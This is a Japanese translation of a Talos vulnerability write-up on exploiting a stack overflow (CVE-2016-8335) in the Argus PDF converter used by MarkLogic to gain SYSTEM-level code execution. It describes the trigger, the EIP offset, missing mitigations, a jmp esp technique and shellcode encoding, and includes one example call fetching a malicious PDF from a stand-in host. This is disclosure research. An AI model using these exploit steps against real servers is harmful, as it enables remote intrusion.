投稿者:Marcin Noga、協力:William Largent
Talos では、責任を持って脆弱性を定期的に開示しています。時には、脆弱性の発見経緯やその潜在的な影響に関する技術分析を発表することもあります。過去の投稿でも、Lexmark Perceptive Document Filters について詳細に分析しましたが、今回の投稿では別の PDF コンバータ(Argus PDF)を取り上げます。これは PDF を XML 形式に変換するために MarkLogic で使用されており、「Converters/cvtpdf」フォルダ内に配置されます。今回の記事では、Argus PDF を通じた検出およびエクスプロイト プロセスを含む、技術的な側面について説明します。
MarkLogic への影響
詳細に入る前に、こちらのビデオをご覧ください。Windows 用 Marklogic 8.0-5.5 でテストしたところ、リモートのコード実行に成功し、システム レベルの権限を取得できました。
問題の DLL を Argus PDF とコンバータ バイナリで使用することにより、次の Marklogic ディレクトリ中にコンバータを発見できました。
次に、MarkLogic でコンバータの使用を強制する方法について考察します。Marklogic は、XDMP API “pdf-convert” が使用されるたびに、コンバータを使用します。
この API のマニュアルでは、次のように説明されています。
PDF ファイルを XHTML に変換します。パーツ ノードや変換されたドキュメント xml ノードなどのドキュメント パーツ(css ファイルやイメージなど)を含む、複数のノードが返されます。最初のノードはパーツ ノードです。これには、変換によって生成されたパーツすべてのマニフェストも含まれています。
使用方法の例(信頼できないソースから読み込んだ PDF を変換する場合):
xdmp:pdf-convert( xdmp:document-get(“http://evildomain.localhost.com/malicious.pdf”), “malicious.pdf” )
上記の「pdf-convert」API が呼び出されると、MarkLogic デーモンが「convert」バイナリを生成します。この際に、PDF を (X)HTML 形式に変換する Argus.dll も使用します。
被害の拡大
先述したエクスプロイト例のように、新バージョンの Windows 用 MarkLogic では、MarkLogic によって「convert」コンポーネントが権限を失うことなく生成されるため、「convert」はシステム権限でタスクを実行します。それにより最大権限が自動的に得られ、エクスプロイトに成功した場合の影響が大幅に増大します。
偵察
今回の調査過程では、Iceni Argus PDF lib に複数の脆弱性を発見しました。エクスプロイトのプロセスを示すために、ここでは CVE-2016-8335(TALOS-2016-0202)Iceni Argus ipNameAdd コード実行を使用します。これは従来型のスタック ベースのバッファ オーバーフローです。
Linux バージョン
まず、Linux 用コンバータで、不正な PDF ファイルを変換した際の動作を調べてみます。
このケースでは、「convert」ライブラリがセキュリティ クッキーと合わせてコンパイルされています。これはエクスプロイトを困難にする要素となりますが、特定の条件下ではバイパスされてしまいます。その例については、Talos の Aleksander Nikolic による『Bypassing MiniUPnP Stack Smashing Protection(MiniUPnP スタックをバイパスし保護を無効にする)』[英語] を参照してください。
下記のとおり、セキュリティ クッキーと確認用 checksec が存在しています。
ここでも、「convert」実行可能ファイルが ASLR をサポートしていないことがわかります。
注:Linux バージョンでは、Argus ライブラリが「convert」アプリケーションによって静的にコンパイルされています。
Windows
次に Windows で確認してみましょう。
スタック クッキーがありません。そのためエクスプロイトは簡単です。トリアージ プロセスの詳細については、こちら [英語] の推奨事項を参照してください。次に、問題点と、この脆弱性のトリガー方法について簡単に説明します。
全体を制御するためのステップ
- 「ipNameAdd」関数に脆弱性が存在します。
- 脆弱性コード:
12 行目の strcpy 呼び出しにはバグが存在します。
- 攻撃者がトークンを作成していますが、これは正規の Name オブジェクト、Integer、Float、または HexString ではないため、スタック ベースのバッファ オーバーフローが発生し、任意のコードが実行されます。
- この脆弱性をトリガーする PDF の例:
- オーバーフローになる文字列/一連のバイトには 0x80 を除く [0x21-0xff] の範囲の文字が含まれます。
これで必要な情報がすべて得られたので、エクスプロイト プロセスに進みます。
エクスプロイト
循環パターン
RET アドレスの上書きには、どれだけのバイト数が必要でしょうか?
ここでは Immunity Debugger と mona.py を使用してその情報を取得し、循環パターンを作り出し、PDF 内の「AAAA…」文字列のオーバーフローを置換します。
アプリケーションを再度実行します。
当たりです!「!mona pattern_offset (po) eip」コマンドを使用することで、EIP が循環バッファによって上書きされました。EIP の値に関する情報はオフセット 260 で得られます。
コンセプト実証エクスプロイトは、EIP を以下の特定値で上書きすることで成功します。
エクスプロイト手法の決定
エクスプロイト スケルトンによって EIP を制御できるようになったので、ロードされたモジュールと実装された緩和策を確認して、このケースのエクスプロイトを成功させるための道筋を明確にしてみましょう。
緩和策やデータ実行防止策がない?
「そんなバカな」と思うかもしれませんが、実行可能ファイルは DEP/ASLR をサポートしていないため、どれもモジュールで使用されていません。つまり、大昔の direct-ret jmp esp エクスプロイトを 2017 年になった今でも利用できるのです。
Direct-RET
ここで必要なのは「jmp esp」命令を見つけ、制約事項に注意するだけです。
「-x *」となっているのは、ページでの「X(実行可能ファイル)」許可セットの有無が問題にならないためです。ポインタにも制限はありますが、簡略化のため「-cp alphanum」に限定して「-cpb \x20」をドロップします。
シェルコード
同じ制約をシェルコード生成でも使用します。
ここでは、シェルコードの開始アドレスの場所をエンコーダに伝える必要があります。このケースでは、アドレスは ESP レジスタ内にあります。その情報を「BufferRegister=ESP」からエンコーダに渡します。
PoC
これでエクスプロイトをテストできます。
まとめ
今回の技術解説では、脆弱性をエクスプロイトするプロセスについて掘り下げました。脆弱性が存在しても、それが簡単にエクスプロイトされるとは限りません。ほとんどの脆弱性はエクスプロイトが非常に困難です。しかしこのため、容易にエクスプロイトできる脆弱性の価値が非常に高くなっていることも事実です。Cisco Talos では検出を続け、責任を持って定期的に脆弱性を開示し、さらに詳細な分析を行います。
本稿は 2017年9月14日に Talos Group のブログに投稿された「Deep Dive in MarkLogic Exploitation Process via Argus PDF Converter」の抄訳です。